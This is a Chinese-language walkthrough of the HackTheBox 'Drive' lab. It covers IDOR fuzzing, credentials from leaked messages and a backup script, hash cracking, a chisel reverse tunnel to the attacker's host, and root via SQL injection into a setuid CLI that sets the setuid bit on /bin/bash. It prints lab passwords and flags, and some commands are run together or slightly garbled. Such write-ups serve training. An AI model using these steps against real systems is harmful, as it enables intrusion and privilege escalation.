HTB-Drive笔记

admin 2024年2月19日00:21:48评论22 views字数 2413阅读8分2秒阅读模式

HTB-Drive笔记

首先扫描靶场

nmap -sC -sV -sT -T4 -Pn 10.10.11.235

HTB-Drive笔记

HTB-Drive笔记

扫描出三个端口,还有一个drive.htb的域名,写进去hosts,然后打开

HTB-Drive笔记

这是一个上传数据,然后可以跟其他人分享数据的网站,扫描一下目录

HTB-Drive笔记

只有几个是200返回,注册一个账号,然后登陆一下,进去里面有个上传选项

HTB-Drive笔记

上面提示不能超过2M,那就上传一个php shell试试

HTB-Drive笔记

上传后点击,上面的files,看到show my file选项,点击进去可以看到自己刚刚上传的文件

HTB-Drive笔记

HTB-Drive笔记

找了很久没有运行的路径,但是可以注意上面有个/128/blocks,猜测128是一个IDOR漏洞,尝试对其进行fuzz,如果没有字典,可以使用crunch工具创建一个

crunch 1 3 1234567890 -o ss.txt

HTB-Drive笔记

该命令的意思是创建一个1-999顺序的数字文本,创建后,然后使用burp抓包Reverse的数据包

HTB-Drive笔记

抓到后发送至Intruder,Add一个参数,然后爆破

HTB-Drive笔记

爆破出是79id,然后给包,浏览器查看

HTB-Drive笔记

hey team after the great success of the platform we need now to continue the work.on the new features for ours platform.I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".please make the necessary changes to the code before the end of the monthI will reach you soon with the token to apply your changes on the repothanks!

HTB-Drive笔记

现在拿到了一个用户的密码,尝试使用ssh登陆一下

HTB-Drive笔记

成功登陆,但是底下是没有user flag的,去到/var/www/backups那里,有几个数据库的压缩包

HTB-Drive笔记

在靶机上开启python服务器,将他们全部带回家,然后给权限,解压(图上是别人解压好的,正常是没有的)

HTB-Drive笔记

看来是需要密码的,回到靶机,输入netstat查看本地的端口

netstat -tnpl

HTB-Drive笔记

本地还有一个3000端口,那就将3000端口转发到本地,这次我使用chisel工具,这是ssh命令的转发端口

ssh -L 3000:localhost:3000 martin@10.10.14.235
chisel server --reverse --port 1111./chisel client 10.10.14.10:1111 R:3000:127.0.0.1:3000

HTB-Drive笔记

HTB-Drive笔记

现在可以直接在浏览器输入127.0.0.1:3000,查看gitea

HTB-Drive笔记

在Explore里面有两个用户,选择martinCruz登陆,密码跟martin的ssh密码相同,登陆进去后,选择crisDisel用户,可以看到有DoodleGrive整个项目,包括源代码

HTB-Drive笔记

HTB-Drive笔记

其中有个db_backup.sh脚本,点击可以看到整个过程

db_backup.sh

#!/bin/bashDB=$1date_str=$(date +'%d_%b')7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3cd /var/www/backups/ls -l --sort=t *.7z > backups_num.tmpbackups_num=$(cat backups_num.tmp | wc -l)if [[ $backups_num -gt 10 ]]; then      #backups is more than 10... deleting to oldest backup      rm $(ls  *.7z --sort=t --color=never | tail -1)      #oldest backup deleted successfully!firm backups_num.tmp

HTB-Drive笔记

猜测-p后面那串是解压密码,拿去试试

HTB-Drive笔记

成功解压出一个sqlite文件,将它导入SQLite软件里面查看

HTB-Drive笔记

可以看到里面5个用户,直接使用hashcat爆破,因为是四个压缩包,不同的时间段,不同的hash,所以要每个都要解压看一下

hashcat -m 124 hash /home/uu/rockyou.txt
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7

HTB-Drive笔记

这才是正确的tom的ssh登陆密码,直接登陆拿user flag:43c2be94e938acb73f1f2891cb30ee4a

HTB-Drive笔记

然后提权,可以看到底下有个红色权限的doodleGrive-cli,猜测是通过他提权,运行一下是需要密码用户的

HTB-Drive笔记

所以将它下载到本地,然后逆向,这次是用cutter工具,一直寻找,往下拉,可以看到moriarty

HTB-Drive笔记

这段代码就是检测输入用户名跟密码的对错

HTB-Drive笔记

从这里可以看到该程序只是用写进去的用户更换成%s,他是直接调用sqlite命令,可以参考这篇文章

https://www.sqlite.org/loadext.html

HTB-Drive笔记

或者使用binwalk快速的逆向,获取重要的信息,可以看出是跟上面一样的

HTB-Drive笔记

这个就是登陆elf文件的用户名,密码是下面那个,长度24,密码是[email protected]!

HTB-Drive笔记

提权首先新建一个exp,exp的内容是chmod,然后给exp 777权限

chmod u+s /bin/bash

然后登陆进去,选择5,写假的用户名

&edit(id,"exp")--

HTB-Drive笔记

成功拿到root flag:e54da96e674bc354acdf7052acde5812

原文始发于微信公众号(Jiyou too beautiful):HTB-Drive笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日00:21:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Drive笔记https://cn-sec.com/archives/2123636.html

发表评论

匿名网友 填写信息